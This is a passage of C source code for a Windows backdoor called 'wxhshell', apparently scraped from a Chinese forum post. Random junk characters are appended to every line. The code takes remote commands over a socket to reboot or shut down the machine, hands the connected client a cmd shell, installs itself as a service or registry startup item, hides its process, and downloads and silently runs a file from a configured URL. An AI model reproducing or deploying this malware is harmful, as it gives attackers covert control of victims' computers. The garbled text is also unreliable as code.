  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n?V+dC=F}  
  } 5 (A5Y-B  
  else { n0is\ZK 0  
m)oJFF  
    switch(cmd[0]) { [n}T|<  
  4WK3.6GN  
  // 帮助 Wl}&?v&@  
  case '?': { 7F'`CleU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c [5KG}  
    break; )vxUT{;sH  
  } A`R{m0A  
  // 安装 /t(C>$ }p  
  case 'i': { &iV{:)L  
    if(Install()) dUsx vho  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); --DoB=5%8  
    else 2PG [7u^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Iix )Ue  
    break; g&{9VK6.  
    } =z8f]/k*>  
  // 卸载 i7ly[6{^pr  
  case 'r': { [<KM?\"1<  
    if(Uninstall()) yDGVrc'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GAAm0;  
    else {^N[("`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P67o{EdK  
    break; 5scEc,JCi  
    } AoyX\iqQ  
  // 显示 wxhshell 所在路径 * oybD=%4  
  case 'p': { aCL!]4K84$  
    char svExeFile[MAX_PATH]; jq!tT%o*B  
    strcpy(svExeFile,"\n\r"); 4 uQT5  
      strcat(svExeFile,ExeFile); YX#-nyK  
        send(wsh,svExeFile,strlen(svExeFile),0); @$z<i `4  
    break; e>AE8T  
    } {` w;39$+  
  // 重启 t2"FXTAq  
  case 'b': { vI@%Fg+D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wiBVuj#  
    if(Boot(REBOOT)) Ot`VR&}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7sXxq4  
    else { ,#8e_3Z$  
    closesocket(wsh); n..g~ $k  
    ExitThread(0); e$pMsw'MJ  
    } BXyo  
    break; C$5[X7'  
    } %!1Q P[}K  
  // 关机 QeK*j/  
  case 'd': { `ta7Gc/:UY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *Aa?yg:=  
    if(Boot(SHUTDOWN)) !3ctB3eJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Exk\8,EGqS  
    else { 5>TK^1 :  
    closesocket(wsh); \!ej<T+JR>  
    ExitThread(0); ^53r/V}%  
    } x@Hc@R<!  
    break; tzh1s i  
    } nb>7UN.9  
  // 获取shell ,tg0L$qC  
  case 's': { {+@bZ}57  
    CmdShell(wsh); 9rA=pH%<>B  
    closesocket(wsh); 1u9LdkhnY  
    ExitThread(0); p"U, G -_  
    break; yR\btx|e5~  
  } S1?-I_t+]  
  // 退出 2J;kSh1,L  
  case 'x': { M^]cM(swK5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x_dy~(*  
    CloseIt(wsh); @|tL8?  
    break; jt.3P  
    } >orK';r<  
  // 离开 @i*|s~15  
  case 'q': { 5;{H&O9Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %Ijj=wW  
    closesocket(wsh); f1(+ bE%  
    WSACleanup(); D~\$~&_]=  
    exit(1); c[ ]4n  
    break; A\.GV1  
        } 'Un " rts  
  } )[|3ZP`  
  } s4uhsJL V$  
s91JBP|B7  
  // 提示信息 UMcgdJB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z.I9wQ]X[  
} mOlI#5H  
  } '3 ^+{=q  
RnDt)3  
  return; 5O6hxcMjT  
} Dv/WE>?Aw  
D N*t~Z3[  
// shell模块句柄 r#Oo nZ  
int CmdShell(SOCKET sock) _Wa. JUbv  
{ (/j); oSK  
STARTUPINFO si; W!&vul5  
ZeroMemory(&si,sizeof(si)); qC?:*CXH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b 'pOJS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GF^071]G  
PROCESS_INFORMATION ProcessInfo; 2]ape !(  
char cmdline[]="cmd"; 4tS.G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fw RZ5`v<  
  return 0; }B.H|*uO  
} d:U9pC$  
B[4KX  
// 自身启动模式 mFZ?hOyP.  
int StartFromService(void) E3iW-B8u8  
{ :B:"NyPA  
typedef struct ^:Gie  
{ n= u&uqA*  
  DWORD ExitStatus; &sL&\+=<(  
  DWORD PebBaseAddress; ?28N ^  
  DWORD AffinityMask; M%0C_=zg  
  DWORD BasePriority; JQ@E>o7_  
  ULONG UniqueProcessId; [YcG(^^  
  ULONG InheritedFromUniqueProcessId; McQe1  
}   PROCESS_BASIC_INFORMATION; 1cD! :[  
u9EgdpD  
PROCNTQSIP NtQueryInformationProcess; oczN5YSt  
`6xkf&Kt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lh;:M -b9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gjAIEI  
ixT:)|'i  
  HANDLE             hProcess; )}?#  
  PROCESS_BASIC_INFORMATION pbi; A?pbWt ~}  
/x1![$oC0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &mtJRfnu  
  if(NULL == hInst ) return 0; HI11Jl}{  
WV_.Tiy<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *N<&GH(j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O|M{-)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BjzPz  
6Z%U`,S  
  if (!NtQueryInformationProcess) return 0; sU{NHC)5  
vsl]92xI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c>)Yt^ q&K  
  if(!hProcess) return 0; :FTMmW,>'  
 D 'Zt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AQ[GO6$,%H  
C .~+*"Vw  
  CloseHandle(hProcess); ^i} L-QR  
#I bp(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2P@sn!*{1  
if(hProcess==NULL) return 0; pj?f?.^  
7w6cwHrL@  
HMODULE hMod; Evjj"h&0J  
char procName[255]; 7G>dTO  
unsigned long cbNeeded; Q{5kxw1ZF  
#odIEC/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 20nP/ e  
< RH UH)I  
  CloseHandle(hProcess); 57&b:0`p  
S-|)QGxV6  
if(strstr(procName,"services")) return 1; // 以服务启动 ,^. 88<  
vz7J-CH  
  return 0; // 注册表启动 c:o]d)S  
} = < oBgD0k  
RpD=]y!5_  
// 主模块 T"DlT/\  
int StartWxhshell(LPSTR lpCmdLine) T, )__h  
{ |* ;B  
  SOCKET wsl; ub\MlSr  
BOOL val=TRUE; 1NgCw\  
  int port=0; 9vvx*rD  
  struct sockaddr_in door; 5Ezw ~hn  
Pf\D-1gi  
  if(wscfg.ws_autoins) Install(); =t H:,SH  
5?F__Hx*2  
port=atoi(lpCmdLine); Bx4w)9+3  
U_n9]Z  
if(port<=0) port=wscfg.ws_port; ([m mPyp>L  
Lja>8m  
  WSADATA data; yooX$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;CPr]avY  
2bkX}FWd;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E{Ov>osq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "q.\>MCv  
  door.sin_family = AF_INET; J2xw) +  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~ijVmWNk  
  door.sin_port = htons(port); B=^)Ub5'  
ov_j4 j>6P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [8=vv7wS  
closesocket(wsl); )E-inHD /  
return 1; AN/;)wc  
} Pu*6"}#~  
lY?QQ01D  
  if(listen(wsl,2) == INVALID_SOCKET) { Ne[7gxpu  
closesocket(wsl); < v@9#c  
return 1; BlA_.]Sg$  
} xgKdMW'%g:  
  Wxhshell(wsl); 'z%o16F)L  
  WSACleanup(); <YhB8W9 P  
ZL&g_jC  
return 0; 1Y7Eajt-5  
V4'YWdTi  
} HoRg^Ai?\  
&)AVzN+*h  
// 以NT服务方式启动 j)/nKh4O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c*L0@Ak%  
{ Y STv\y  
DWORD   status = 0; 6sx'S?Qa*  
  DWORD   specificError = 0xfffffff; rMLp-aR'  
9NQlI1W z4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5#+^E{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !y@NAa0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sP;nGQ.eN  
  serviceStatus.dwWin32ExitCode     = 0; NnDxq%l%  
  serviceStatus.dwServiceSpecificExitCode = 0; 10q'Z}34  
  serviceStatus.dwCheckPoint       = 0; $ us]35Z3  
  serviceStatus.dwWaitHint       = 0; QD:{U8YbF$  
LXC9I/j/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7|$:=4  
  if (hServiceStatusHandle==0) return; ~,oMz<iMV  
3c]b)n~Y  
status = GetLastError(); gT0BkwIV  
  if (status!=NO_ERROR) [BqHx5Xz(  
{ z8SmkL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e%@~MQ-  
    serviceStatus.dwCheckPoint       = 0; >aj7||K  
    serviceStatus.dwWaitHint       = 0; > dI LF  
    serviceStatus.dwWin32ExitCode     = status; ^h ~x)@=  
    serviceStatus.dwServiceSpecificExitCode = specificError; `lO[x.[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kT"Kyd  
    return; +'I+o5*  
  } 3L_\`Ia9  
W;'!gpa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VcSVu  
  serviceStatus.dwCheckPoint       = 0; \KQ71yqY  
  serviceStatus.dwWaitHint       = 0; LWz&YF#T-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); / zB0J?  
} =/y]d<g  
a1+#3X.  
// 处理NT服务事件,比如:启动、停止 2(u,SQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %S*{9hm/  
{ aTqd@},?  
switch(fdwControl) V )x$|!(  
{ D6>2s\:>vp  
case SERVICE_CONTROL_STOP: GVYBa_gx  
  serviceStatus.dwWin32ExitCode = 0; \]2]/=2tLd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \Zqng  
  serviceStatus.dwCheckPoint   = 0; naYrpK,.  
  serviceStatus.dwWaitHint     = 0; [z`31F  
  { TgmnG/Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;CmS ~K:  
  } Y2ZT.l  
  return; F`Q[6"<a  
case SERVICE_CONTROL_PAUSE: E_])E`BJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :(!` /#6H  
  break; w$z}r  
case SERVICE_CONTROL_CONTINUE: {|&5_][  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Li/O  
  break; rV R1wsaL  
case SERVICE_CONTROL_INTERROGATE: A: 5x|  
  break; .TND  a&  
}; )Ch2E|C?=8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C":32_q  
} Gb#Cm]  
>L;eO'D  
// 标准应用程序主函数 *W0y: 3dB3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kI 4MiK  
{ Bm.:^:&k  
bx{$Y_L+p  
// 获取操作系统版本 w)kNkD  
OsIsNt=GetOsVer(); dZ  rAn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aqRhh=iS  
ypKUkH/  
  // 从命令行安装 RrX[|GLSJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2ORNi,_I  
\ 3wfwu.q  
  // 下载执行文件 7\$qFF-y  
if(wscfg.ws_downexe) { 75"f2;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -:2$ %  
  WinExec(wscfg.ws_filenam,SW_HIDE); \W1,F6&j  
} R7$:@<:g  
9[b<5Llt  
if(!OsIsNt) { Q[vJqkgT  
// 如果时win9x,隐藏进程并且设置为注册表启动 ein4^o<f.  
HideProc(); Kw efs;<E?  
StartWxhshell(lpCmdLine); \Xm,OE_v"  
} WQ[_hg|k  
else "?ucO4d  
  if(StartFromService()) q>$ev)W  
  // 以服务方式启动 DnCP aM4%  
  StartServiceCtrlDispatcher(DispatchTable); -8:&>~4`  
else Ghx3EVqnx"  
  // 普通方式启动 NdtB1b  
  StartWxhshell(lpCmdLine); Bg5Wba%NK  
xO^:_8=&:  
return 0; =vQcYa  
}
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只看该作者 1 发表于: 2006-10-10
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